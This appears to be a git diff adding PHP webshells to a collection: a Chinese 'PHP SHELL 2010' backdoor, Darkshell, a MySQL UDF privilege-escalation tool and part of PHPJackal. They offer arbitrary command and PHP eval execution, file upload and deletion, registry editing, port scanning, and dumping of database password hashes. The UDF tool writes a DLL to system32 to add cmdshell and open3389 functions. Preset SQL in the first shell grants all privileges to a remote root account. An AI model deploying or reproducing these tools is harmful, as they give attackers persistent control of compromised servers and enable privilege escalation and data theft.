                            '; $k = 0; while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} } else $MSG_BOX .= mysql_error(); } print<< +function nFull(i){ + Str = new Array(15); + Str[0] = "select command Or input manual"; + Str[1] = "select version();"; + Str[2] = "select @@character_set_database;"; + Str[3] = "show databases;"; + Str[4] = "show tables;"; + Str[5] = "show columns from table_name;"; + Str[6] = "select @@hostname;"; + Str[7] = "select @@version_compile_os;"; + Str[8] = "select @@basedir;"; + Str[9] = "select @@datadir;"; + Str[10] = "describe table_name;"; + Str[11] = "select User,Password from mysql.user;"; + Str[12] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C);"; + Str[13] = "select 'testtest' into outfile '/var/www/html/test.txt' from mysql.user;"; + Str[14] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
                            +
                            + + +END; +if(!empty($_POST['msql'])) { $msql = $_POST['msql']; if($result = @mysql_query($msql,$conn)) { $MSG_BOX = 'execute sql statement success
                            '; $row=mysql_fetch_row($result); echo ''.""; for ($i=0; $i'.mysql_field_name($result, $i).""; } echo ""; mysql_data_seek($result, 0); while ($row=mysql_fetch_row($result)) { echo ""; for ($i=0; $i'."$row[$i]".''; } echo ""; } echo "
                            "; mysql_free_result($result); } else $MSG_BOX .= mysql_error(); } } echo '
                            '.$MSG_BOX.'
                            '; return true; } function phpcode() { print<< +
                            +
                            用户自定义PHP代码:

                            +
                            +

                            +
                            + +END; +$phpcode = $_POST['phpcode']; $phpcode = trim($phpcode); if($phpcode){ if (!preg_match('#<\?#si',$phpcode)){ $phpcode = ""; } eval("?".">$phpcode
                            '; } return false; } function otherdb(){ $db = isset($_GET['db']) ? $_GET['db'] : ''; print<< + +END; +if ($db=="ms"){ $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : 'sa123'; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print<< +
                            主机: +用户: +密码: +数据库名:

                            + +
                            + + +
                            +END; +if ($msaction == 'msquery'){ $msconn= mssql_connect ($mshost , $msuser, $mspass); mssql_select_db($msdbname,$msconn) or die("连接失败:" .mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. mssql_field_name($msresult, $i); echo "\n"; } echo "\n"; mssql_data_seek($result, 0); while ($msrow=mssql_fetch_row($msresult)) { echo "\n"; for ($i=0; $i'; echo "$msrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; mssql_free_result($msresult); mssql_close(); } } elseif ($db=="ora"){ $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print<< +
                            主机: +端口: +用户: +密码: +SID:

                            + +
                            + + +
                            +END; +if ($oraaction == 'oraquery'){ $oralink = OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror()); $oraresult=ociparse($oralink,$oraquery) or die(ocierror()); $orarow=oci_fetch_row($oraresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. oci_field_name($oraresult, $i); echo "\n"; } echo "\n"; ociresult($oraresult, 0); while ($orarow=ora_fetch_row($oraresult)) { echo "\n"; for ($i=0; $i'; echo "$orarow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx"){ $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print<< +
                            数据库名: +用户: +密码:

                            + +
                            + + +
                            +END; +if ($ifxaction == 'ifxquery'){ $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg()); $ifxrow=ifx_fetch_row($ifxresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. ifx_fieldproperties($ifxresult); echo "\n"; } echo "\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow=ifx_fetch_row($ifxresult)) { echo "\n"; for ($i=0; $i'; echo "$ifxrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db=="db2"){ $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print<< +
                            主机: +端口: +用户: +密码: +数据库名:

                            + +
                            + + +
                            +END; +if ($myaction == 'db2query'){ $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg()); $db2row=db2_fetch_row($db2result); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. db2_field_name($db2result); echo "\n"; } echo "\n"; while ($db2row=db2_fetch_row($db2result)) { echo "\n"; for ($i=0; $i'; echo "$db2row[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; db2_free_result($db2result); db2_close(); } } elseif($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print<< +
                            主机: +路径: +用户: +密码:
                            + +
                            + + +
                            +END; +if ($fbaction == 'fbquery'){ $fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg()); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. ibase_field_info($fbresult, $i); echo "\n"; } echo "\n"; ibase_field_info($fbresult, 0); while ($fbrow=ibase_fetch_row($fbresult)) { echo "\n"; for ($i=0; $i'; echo "$fbrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; ibase_free_result($fbresult); ibase_close(); } } else{ $pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost'; $pguser = isset($_POST['pguser']) ? $_POST['pguser'] : 'postgres'; $pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : ''; $pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres'; $pgaction = isset($_POST['action']) ? $_POST['action'] : ''; $pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; $pgquery = stripslashes($pgquery); print<< +
                            主机: +用户: +密码: +数据库名:

                            + +
                            + + +
                            +END; +if ($pgaction == 'pgquery'){ $pgconn = pg_connect("host=$pghost dbname=$pgdbname user=$pguser password=$pgpass ") or die( '不能连接: ' . pg_last_error()); $pgresult = pg_query($pgquery) or die( '执行失败: '.pg_last_error()); $pgrow=pg_fetch_row($pgresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. pg_field_name($pgresult, $i); echo "\n"; } echo "\n"; pg_result_seek($pgresult, 0); while ($pgrow=pg_fetch_row($pgresult)) { echo "\n"; for ($i=0; $i'; echo "$pgrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; pg_free_result($pgresult); pg_close(); } } } function phpreg(){ $shell1 = new COM("wscript.shell") or die("必须是 windows 主机"); $action = isset($_POST['action']) ? $_POST['action'] : ''; echo '
                            '; echo '
                            读 & 写 &删除 注册表

                            '; echo '
                            '; print<<
                            +
                            +读取路径:  + +

                            +END; +$rpath = isset($_POST['rpath']) ? $_POST['rpath'] : ''; $rpath = str_replace("\\\\", "\\", $rpath); if ($action=="read"){ $out = $shell1->RegRead($rpath); echo '
                            '.var_dump($out).'
                            '; echo '

                            '; } print<<
                            +
                            Wpath: +

                            +写类型:  +写键值:  + +


                            +END; +$wpath = isset($_POST['wpath']) ? $_POST['wpath'] : ''; $wpath = str_replace("\\\\", "\\", $wpath); $wtype = isset($_POST['wtype']) ? $_POST['wtype'] : ''; $wvalue = isset($_POST['wvalue']) ? $_POST['wvalue'] : ''; if ($action=="write"){ $shell1->RegWrite($wpath, $wvalue, $wtype); } print<<
                            +
                            +删除路径: + +

                            +END; +$dpath = isset($_POST['dpath']) ? $_POST['dpath'] : ''; $dpath = str_replace("\\\\", "\\", $dpath); if ($action=="del"){ $out = $shell1->RegDelete($dpath); } } function Root_Login($MSG_TOP) { global $lanip; print<< + +
                            +
                            +
                            +
                            {$MSG_TOP}
                            +
                            密码:
                            +
                            +
                            @Copyright spider Clean Backdoor加强版 by:B1ac7Sky && L.N.
                            +
                            Your IP : {$lanip}
                            +
                            +
                            +
                            + + +END; +return false; } function WinMain() { $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); $Server_OS = PHP_OS; $Server_Soft = $_SERVER["SERVER_SOFTWARE"]; print<< + PHP SHELL 2010 加强版 by:B1ac7Sky && L.N. + + + + + + + + +END; +return false; } if(get_magic_quotes_gpc()) { $_GET = Root_GP($_GET); $_POST = Root_GP($_POST); } if($_GET['s'] == 'logout') { setcookie('admin_b4che10rpass',NULL); die(''); } if($_COOKIE['admin_b4che10rpass'] != md5($password)) { ob_start(); $MSG_TOP = 'PHP shell加强版 '; if(isset($_POST['b4che10rpass'])) { $cookietime = time() + 24 * 3600; setcookie('admin_b4che10rpass',md5($_POST['b4che10rpass']),$cookietime); if(md5($_POST['b4che10rpass']) == md5($password)){die('');} else{$MSG_TOP = '密码错误';} } Root_Login($MSG_TOP); exit(); ob_end_flush(); } if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} $p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); switch($s) { case "a" : File_a($p); break; case "b" : Guama_b(); break; case "c" : Qingma_c(); break; case "d" : Tihuan_d(); break; case "e" : Antivirus_e(); break; case "f" : Info_f(); break; case "g" : Exec_g(); break; case "h" : Com_h(); break; case "i" : Port_i(); break; case "j" : Shellcode_j(); break; case "k" : Crack_k(); break; case "l" : Linux_l(); break; case "m" : Mysql_m(); break; case "n" : Mysql_n(); break; case "o" : phpreg(); break; case "p" : File_Edit($_GET['fp'],$_GET['fn']); break; case 'x' : phpcode();break; case 'r' : phpsocket();break; case 'w' : otherdb();break; case 'z' : su();break; case 'u' : Findfile_j(); break; case 'v' : ftp_php();break; default: WinMain(); break; } ?> diff --git a/php/Darkshell.php b/php/Darkshell.php new file mode 100644 index 0000000..5520ca1 --- /dev/null +++ b/php/Darkshell.php @@ -0,0 +1,263 @@ + + + +Dark Shell + + + + +

                            Dark Shell


                            \n"; +echo "Server: " . $_SERVER ['SERVER_NAME'] . "
                            \n"; +echo "Current directory: " . getcwd () . "
                            \n"; +echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "

                            \n\n
                            \n"; +echo "
                            \n\n\n
                            "; + +echo ""; +echo ""; +echo "\n"; +echo "\n"; +echo "\n"; +echo "\n"; +echo "
                            Shell CommandCreate a new fileUpload filePort Scan
                            "; +echo "
                            \n\n
                            "; + + + +$mode = $_GET ['mode']; +switch ($mode){ +case 'edit': +$file = $_GET ['file']; +$new = $_POST ['new']; +if (empty ($new)){ +$fp = fopen ($file, "r"); +$file_cont = fread ($fp, filesize ($file)); +$file_cont = str_replace ("", "
                            \n"; +echo "\n"; +} +else { +$fp = fopen ($file, "w"); +if (fwrite ($fp, $new)){ +echo $file . " edited.

                            "; +} +else { +echo "Unable to edit " . $file . ".

                            "; +} +} +fclose ($fp); +break; +case 'delete': +$file = $_GET ['file']; +if (unlink ($file)){ +echo $file . " deleted successfully.

                            "; +} +else { +echo "Unable to delete " . $file . ".

                            "; +} +break; +case 'copy': +$src = $_GET ['src']; +$dst = $_POST ['dst']; +if (empty ($dst)){ +echo "

                            \n"; +echo "Destination:
                            \n"; +echo "
                            \n"; +} +else { +if (copy ($src, $dst)){ +echo "File copied successfully.

                            \n"; +} +else { +echo "Unable to copy " . $src . ".

                            \n"; +} +} +break; +case 'move': +$src = $_GET ['src']; +$dst = $_POST ['dst']; +if (empty ($dst)){ +echo "

                            \n"; +echo "Destination:
                            \n"; +echo "
                            \n"; +} +else { +if (rename ($src, $dst)){ +echo "File moved successfully.

                            \n"; +} +else { +echo "Unable to move " . $src . ".

                            \n"; +} +} +break; +case 'rename': +$old = $_GET ['old']; +$new = $_POST ['new']; +if (empty ($new)){ +echo "

                            \n"; +echo "New name:
                            \n"; +echo "
                            \n"; +} +else { +if (rename ($old, $new)){ +echo "File/Directory renamed successfully.

                            \n"; +} +else { +echo "Unable to rename " . $old . ".

                            \n"; +} +} +break; + +case 'rmdir': +$rm = $_GET ['rm']; +if (rmdir ($rm)){ +echo "Directory removed successfully.

                            \n"; +} +else { +echo "Unable to remove " . $rm . ".

                            \n"; +} +break; +case 'system': +$cmd = $_POST ['cmd']; +if (empty ($cmd)){ +echo "

                            \n"; +echo "Shell Command: \n"; +echo "

                            \n"; +} +else { +system ($cmd); +} +break; +case 'create': +$new = $_POST ['new']; +if (empty ($new)){ +echo "

                            \n"; +echo "New file: \n"; +echo "
                            \n

                            "; +} +else { +if ($fp = fopen ($new, "w")){ +echo "File created successfully.

                            \n"; +} +else { +echo "Unable to create ".$file.".

                            \n"; +} +fclose ($fp); +} +break; +case 'upload': +$temp = $_FILES['upload_file']['tmp_name']; +$file = basename($_FILES['upload_file']['name']); +if (empty ($file)){ +echo "

                            \n"; +echo "Local file: \n"; +echo "\n"; +echo "
                            \n
                            \n\n
                            "; +} +else { +if(move_uploaded_file($temp,$file)){ +echo "File uploaded successfully.

                            \n"; +unlink ($temp); +} +else { +echo "Unable to upload " . $file . ".

                            \n"; +} +} +break; + +case 'port_scan': +$port_range = $_POST ['port_range']; +if (empty ($port_range)){ +echo ""; +echo ""; +echo "
                            "; +echo "Enter port range where you want to do port scan (ex.: 0:65535)
                            "; +} +else { +$range = explode (":", $port_range); +if ((!is_numeric ($range [0])) or (!is_numeric ($range [1]))){ +echo "Bad parameters.
                            "; +} +else { +$host = 'localhost'; +$from = $range [0]; +$to = $range [1]; +echo "Open ports:
                            "; +while ($from <= $to){ +$var = 0; +$fp = fsockopen ($host, $from) or $var = 1; +if ($var == 0){ +echo $from . "
                            "; +} +$from++; +fclose ($fp); +} +} +} +break; + + +} + +clearstatcache (); + +echo "

                            \n\n
                            "; +echo "\n"; +$files = scandir ($dir); +foreach ($files as $file){ +if (is_file ($file)){ + +$size = round (filesize ($file) / 1024, 2); +echo ""; +echo ""; +echo "\n"; +echo "\n"; +echo "\n"; +echo "\n"; +echo "\n"; +} +else { +$items = scandir ($file); +$items_num = count ($items) - 2; +echo ""; +echo ""; +echo "\n"; +echo "\n"; +echo "\n"; +} +} +echo "
                            ".$file."".$size." KBEditDeleteCopyMoveRemame
                            ".$file."".$items_num." ItemsChange directoryRemove directoryRename directory
                            \n"; +?> diff --git "a/php/Mysql UDF \346\217\220\346\235\203\345\267\245\345\205\267.php" "b/php/Mysql UDF \346\217\220\346\235\203\345\267\245\345\205\267.php" new file mode 100644 index 0000000..e99d093 --- /dev/null +++ "b/php/Mysql UDF \346\217\220\346\235\203\345\267\245\345\205\267.php" @@ -0,0 +1,193 @@ + +*/ +error_reporting(0); +extract($_POST); +extract($_GET); +$action="mysql"; +$mysql_hostname=$mysql_hostname?$mysql_hostname:"127.0.0.1"; +$mysql_username=$mysql_username?$mysql_username:"root"; +$post_sql=$post_sql?$post_sql:"select cmdshell(\"net user\")"; +$mysql_dbname=$mysql_dbname?$mysql_dbname:"mysql"; +$_SESSION['password']=$mysql_passwd; +if($install){ + $link = mysql_connect ($mysql_hostname,$mysql_username,$_SESSION['password']) or die(mysql_error()); + mysql_select_db($mysql_dbname,$link) ; + @mysql_query("DROP TABLE udf_temp", $link); + $query="CREATE TABLE udf_temp (udf BLOB);"; + if(!($result=mysql_query($query, $link))) + die('错误:创建临时表udf_temp出错。'.mysql_error()); + else + { + $code=get_code(); + $query="INSERT into udf_temp values (CONVERT($code,CHAR));"; + if(!mysql_query($query, $link)) + { + mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); + die('错误:插入DLL数据出错。'.mysql_error()); + } + else + { + $dllname="mysqlDll.dll"; + if(file_exists("c:\\windows\\system32\\")) $dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll"; + elseif(file_exists("c:\\winnt\\system32\\")) $dir="c:\\\\winnt\\\\system32\\\\mysqlDll.dll"; + + if(file_exists($dir)) { + $time=time(); + $dir=str_replace("mysqlDll","mysqlDll_$time",$dir); + $dllname=str_replace("mysqlDll","mysqlDll_$time",$dllname); + } + + $query="SELECT udf FROM udf_temp INTO DUMPFILE '".$dir."';" ; + //echo $query; + if(!mysql_query($query, $link)) + { + //mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); + die("导出DLL文件出错:可能无权限或者 $dir 已经存在。".mysql_error()); + } + else + { + echo 'DLL已成功的导出到'.$dir.'
                            '; + } + } + mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); + $result_cmdshell=mysql_query("Create Function cmdshell returns string soname '$dllname' ", $link) ; + if($result_cmdshell) { + echo "cmdshell 自定义函数创建完成,"; + }else{ + echo mysql_error(); + } + $result_shut=mysql_query("Create Function shut returns string soname '$dllname'", $link); + if($result_shut) { + echo "shut 自定义函数创建完成,"; + + }else{ + echo mysql_error(); + } + $result_open3389=mysql_query("Create Function open3389 returns string soname '$dllname'", $link); + if($result_open3389) { + echo "open3389 自定义函数创建完成,"; + }else{ + echo mysql_error(); + } + $result_read3389=mysql_query("Create Function read3389 returns string soname '$dllname'", $link); + if($result_read3389) { + echo "read3389 自定义函数创建完成,"; + }else{ + echo mysql_error(); + } + + // $result_backshell=mysql_query("Create Function backshell returns string soname '$dllname'", $link) or die(mysql_error()); 暂时还不提供此功能 + echo "MysqlDoor安装成功!
                            返回"; + } + +} + +?> + + +UDF提权工具(免杀版) +
                            +Host: + + User: + Password: + DB: +    +
                            +
                            + + + + + + + + +
                            +请输入SQL命令: + +
                            + +
                            + +
                            + +
                            +Mysql UDF 提权工具
                            +modi XXOO
                            +blog:http://hi.baidu.com/by_boby
                            +2009-12-4
                            +
                            +
                            +填写Mysql的管理员密码,点击"自动安装MysqlDoor"后,将会在Mysql上增加"cmdshell open3389 shut "函数.
                            +
                            +语句参考:
                            + 执行:select cmdshell("net user");
                            + 卸载:drop function if exists `cmdshell`;
                            + 执行:select shut('logoff|shutdown|reboot');
                            + 卸载:drop function if exists `shut`;
                            + 执行:select open3389(port);
                            + 卸载:drop function if exists `open3389`;
                            + 执行:select read3389(port);
                            + 卸载:drop function if exists `read3389`;
                            +注意:运行"drop function state;"后会使mysql退出,重启后恢复正常。
                            +
                            +
                            +
                            diff --git a/php/PHPJackal.php b/php/PHPJackal.php new file mode 100644 index 0000000..0d67da2 --- /dev/null +++ b/php/PHPJackal.php @@ -0,0 +1,2615 @@ +$value)$_REQUEST[$key]=stripslashes($value); +} +if(count($IP) && !in_array($_SERVER['REMOTE_ADDR'],$IP))die('Access denied!'); +function hlinK($str=''){ +$myvars=array('attacH','forgeT','serveR','domaiN','modE','chkveR','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL'); +$ret=$_SERVER['PHP_SELF'].'?'; +$new=explode('&',$str); +foreach($_GET as $key => $v){ +$add=1; +foreach($new as $m){ +$el=explode('=',$m); +if($el[0]==$key)$add=0; +} +if($add){if(!in_array($key,$myvars))$ret.="$key=$v&";} +} +$ret.=$str; +return $ret; +} +header('Cache-Control: no-cache, must-revalidate'); +header('Expires: Mon, 7 Aug 1987 05:00:00 GMT'); +if(!empty($_REQUEST['forgeT'])){ +mail($email,'PHPJackal Password','Your password on '.$_SERVER['HTTP_HOST'].' is "'.$login_password.'"'); +die("

                            Mail sent

                            "); +} +if(!empty($login_password)){ +if(!empty($_REQUEST['fpassw'])){ +if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw'])); +header('Location: '.hlinK()); +} +if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password)){ + $forget=''; + if(!empty($email))$forget='Forget password!'; + die('
                            Password:

                            '.$forget.''); +} +} +if (!empty($_REQUEST['slfrmv'])){unlink(__FILE__);die("

                            Bye

                            ");} +if(!empty($_REQUEST['workingdiR']))chdir($_REQUEST['workingdiR']); +if(empty($_REQUEST['seC']))$_REQUEST['seC']='about'; +$disablefunctions=ini_get('disable_functions'); +$disablefunctions=explode(',',$disablefunctions); +function checkthisporT($ip,$port,$timeout,$type=0){ +if(!$type){ +$scan=fsockopen($ip,$port,$n,$s,$timeout); +if($scan){fclose($scan);return 1;} +} +elseif(function_exists('socket_set_timeout')){ +$scan=fsockopen("udp://$ip",$port); +if($scan){ +socket_set_timeout($scan,$timeout); +fwrite($scan,"\x00"); +$s=time(); +fread($scan,1); +if((time()-$s)>=$timeout){fclose($scan);return 1;} +} +} +return 0; +} +if(!function_exists('is_executable')){ +function is_executable($addr){ +return 0; +} +} +if(!function_exists('file_get_contents')){ +function file_get_contents($addr){ +$a=fopen($addr,'r'); +$tmp=fread($a,filesize($a)); +fclose($a); +if($a)return $tmp;else return null; +} +} +if(!function_exists('file_put_contents')){ +function file_put_contents($addr,$con){ +$a=fopen($addr,'w'); +if(!$a)return 0; +$t=fwrite($a,$con); +fclose($a); +if($t)return strlen($con); +return 0; +} +} +function file_add_contentS($addr,$con){ +$a=fopen($addr,'a'); +if(!$a)return 0; +fwrite($a,$con); +fclose($a); +return strlen($con); +} +if(!empty($_REQUEST['chmoD']) && !empty($_REQUEST['modE']))chmod($_REQUEST['chmoD'],'0'.$_REQUEST['modE']); +if(!empty($_REQUEST['downloaD'])){ +@ob_clean(); +$dl=$_REQUEST['downloaD']; +$con=file_get_contents($dl); +header('Content-type: '.get_mimE($dl)); +header("Content-disposition: attachment; filename=\"$dl\";"); +header('Content-length: '.strlen($con)); +die($con); +} +if(!empty($_REQUEST['imagE'])){ +$img=$_REQUEST['imagE']; +header('Content-type: image/gif'); +header("Content-length: ".filesize($img)); +header("Last-Modified: ".date('r',filemtime($img))); +die(file_get_contents($img)); +} +if(!empty($_REQUEST['exT'])){ +$ex=$_REQUEST['exT']; +$e=get_extension_funcs($ex); +echo ''.htmlspecialchars($ex).'Functions:
                            ';foreach($e as $k=>$f){$i=$k+1;echo "$i)$f ";if(in_array($f,$disablefunctions))echo 'DISABLED';echo '
                            ';} +die(''); +} +function showsizE($size){ +if($size>=1073741824)$size=round(($size/1073741824),2).' GB'; +elseif($size>=1048576)$size=round(($size/1048576),2).' MB'; +elseif($size>=1024)$size=round(($size/1024),2).' KB'; +else $size.=' B'; +return $size; +} +$windows=(substr((strtoupper(php_uname())),0,3)=='WIN')?1:0; +$cwd=getcwd(); +$VERSION='2.0.2'; +$intro='

                            + +
                            +______ _   _ ______  ___            _         _ 
                            +| ___ \ | | || ___ \|_  |          | |       | |
                            +| |_/ / |_| || |_/ /  | | __ _  ___| | ____ _| |
                            +|  __/|  _  ||  __/   | |/ _` |/ __| |/ / _` | |
                            +| |   | | | || |  /\__/ / (_| | (__|   < (_| | |
                            +\_|   \_| |_/\_|  \____/ \__,_|\___|_|\_\__,_|_|
                            +

                            Version: '.$VERSION.'
                            Author: Nima Ghotbi (NetJackal)
                            Website: http://h.ackerz.com

                            You can submit Bugs/Ideas/Question at http://h.ackerz.com/forums/
                            +
                            New in this version:
                            +
                              +
                            • Steganographer added.
                            • +
                            • MySQL dump added.
                            • +
                            • Mailer now support dynamic content and attachment.
                            • +
                            • Now you can set an email address to recover password in case you forget it later.
                            • +
                            • Editor improved.
                            • +
                            • Crackers improved.
                            • +
                            • Information section improved.
                            • +
                            • Header grabber improved.
                            • +
                            • Send by mail added to Filemanager.
                            • +
                            • Bug fix in Filemanager section.
                            • +
                            • ...
                            • +
                            '; +$hcwd=""; +function checkfunctioN($func){ +global $disablefunctions,$safemode; +$safe=array('passthru','system','exec','shell_exec','popen','proc_open'); +if($safemode=='ON' && in_array($func,$safe))return 0; +elseif(function_exists($func) && is_callable($func) && !in_array($func,$disablefunctions))return 1; +return 0; +} +function is_eveN($num){ +return ($num%2==0); +} +function asc2biN($char){ +return str_pad(decbin(ord($char)), 8, "0", STR_PAD_LEFT); +} +function rgb2biN($rgb){ +$binstream = ""; +$red = ($rgb >> 16) & 0xFF; +$green = ($rgb >> 8) & 0xFF; +$blue = $rgb & 0xFF; +if(is_eveN($red))$binstream .= "1";else $binstream .= "0"; +if(is_eveN($green))$binstream .= "1";else $binstream .= "0"; +if(is_eveN($blue))$binstream .= "1";else $binstream .= "0"; +return $binstream; +} +function stegfilE($image, $fileaddr,$out){ +$filename=basename($fileaddr); +$path=dirname($fileaddr); +$imagename=basename($image); +$binstream = $recordstream = ""; +$make_odd = Array(); +$pic = ImageCreateFromJPEG($image); +$attributes = getImageSize($image); +$outpic = ImageCreateFromJPEG($image); +$data = file_get_contents($fileaddr); +do{ +$boundary = chr(rand(0,255)).chr(rand(0,255)).chr(rand(0,255)); +} while(strpos($data,$boundary)!==false && strpos($hidefile['name'],$boundary)!==false); +$data = $boundary.$filename.$boundary.$data.$boundary; +if(strlen($data)*8 > ($attributes[0]*$attributes[1])*3){ +return "Cannot fit $filename in $imagename.
                            $imagename requires mask to contain at least ".(intval((strlen($data)*8)/3)+1)." pixels.
                            Maximum filesize that $imagename can hide is ".intval((($attributes[0]*$attributes[1])*3)/8)." bytes"; +} +for($i=0; $i> 16) & 0xFF; +$cols[] = ($rgb >> 8) & 0xFF; +$cols[] = $rgb & 0xFF; + +for($j=0 ; $jWell done! '.htmlspecialchars($out).'
                            '; +} +function steg_recoveR($fileaddr){ +global $cwd; +$ascii=$boundary=$binstream=$filename=""; +$attributes = getImageSize($fileaddr); +$pic = ImageCreateFromPNG($fileaddr); +if(!$pic || !$attributes){ +return "could not read image"; +} +$bin_boundary = ""; +for($x=0 ; $x<8 ; $x++) +{ +$bin_boundary .= rgb2biN(ImageColorAt($pic, $x,0)); +} +for($i=0 ; $i=8){ +$binchar = substr($binstream,0,8); +$ascii .= chr(bindec($binchar)); +$binstream = substr($binstream,8); +} +if(strpos($ascii,$boundary)!==false){ +$ascii = substr($ascii,0,strlen($ascii)-3); +if(empty($filename)){ +$filename = $ascii; +$ascii = ""; +} else { +break 2; +} +} +} +$start_x = 0; +} +file_put_contents($filename,$ascii); +return 'Well done! '.htmlspecialchars($filename).'
                            '; +} +function whereistmP(){ +$uploadtmp=ini_get('upload_tmp_dir'); +$uf=getenv('USERPROFILE'); +$af=getenv('ALLUSERSPROFILE'); +$se=ini_get('session.save_path'); +$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); +if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; +if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; +if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; +if(is_dir($uf) && is_writable($uf))return $uf; +if(is_dir($af) && is_writable($af))return $af; +if(is_dir($se) && is_writable($se))return $se; +if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; +if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; +return '.'; +} +function shelL($command){ +global $windows; +$exec=$output=''; +$dep[]=array('pipe','r');$dep[]=array('pipe','w'); +if(checkfunctioN('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();} +elseif(checkfunctioN('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;} +elseif(checkfunctioN('exec')){exec($command,$output);$output=join("\n",$output);$exec=$output;} +elseif(checkfunctioN('shell_exec'))$exec=shell_exec($command); 